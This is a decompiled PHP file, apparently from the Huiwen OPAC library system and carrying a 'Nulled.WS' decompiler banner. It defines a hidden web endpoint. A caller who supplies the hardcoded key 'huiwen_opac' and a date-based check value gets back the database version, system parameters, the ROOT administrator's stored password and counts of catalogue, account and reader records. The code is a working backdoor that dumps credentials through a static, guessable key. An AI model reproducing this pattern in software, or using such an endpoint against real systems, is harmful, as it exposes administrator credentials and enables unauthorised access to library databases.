<?php
/*********************/
/* */
/* Dezend for PHP5 */
/* NWS */
/* Nulled.WS */
/* */
/*********************/
require_once( "common.php" );
require_once( "../include/hwopacpwd.php" );
$pwd = $_REQUEST['code'];
$crc = $_REQUEST['crc'];
$date = strrev( date( "md" ) );
if ( $pwd != "huiwen_opac" || $date != $crc )
{
echo "ERROR";
return;
}
$ary = array( );
$strSql = " SELECT * from v\$version ";
$stmt = $dbh->prepare( $strSql );
$stmt->execute( );
$mode = OCI_FETCHSTATEMENT_BY_ROW;
$version = $stmt->fetchall( $mode );
$i = 0;
for ( ; $i < count( $version ); ++$i )
{
$ary[] = array( "or" => $version[$i]['BANNER'] );
}
$strSql = "SELECT sys_para_code,sys_para_value FROM sys_comm_para where sys_para_code in ('01','02','14','16','17','24','47','98','99','ACS','RFID','THREE-M' ) order by 1 ";
$stmt = $dbh->prepare( $strSql );
$stmt->execute( );
$mode = OCI_FETCHSTATEMENT_BY_ROW;
$para = $stmt->fetchall( $mode );
$i = 0;
for ( ; $i < count( $para ); ++$i )
{
$ary[] = array( trim( $para[$i]['SYS_PARA_CODE'] ) => str2utf8( $para[$i]['SYS_PARA_VALUE'] ) );
}
$strSql = "SELECT password FROM lib_worker where wkr_no='ROOT' ";
$stmt = $dbh->prepare( $strSql );
$stmt->execute( );
$root = $stmt->fetch( );
$ary[] = array( "RT" => $root['PASSWORD'] );
$strSql = " select count(*) as cnt from marc ";
$stmt = $dbh->prepare( $strSql );
$stmt->execute( );
$root = $stmt->fetch( );
$ary[] = array( "M" => $root['CNT'] );
$strSql = " select count(*) as cnt from indi_acct ";
$stmt = $dbh->prepare( $strSql );
$stmt->execute( );
$root = $stmt->fetch( );
$ary[] = array( "I" => $root['CNT'] );
$strSql = " select count(*) as cnt from reader where redr_flag=1 ";
$stmt = $dbh->prepare( $strSql );
$stmt->execute( );
$root = $stmt->fetch( );
$ary[] = array( "R" => $root['CNT'] );
foreach ( $ary as $item )
{
print_r( $item );
echo "<br/>";
}
?>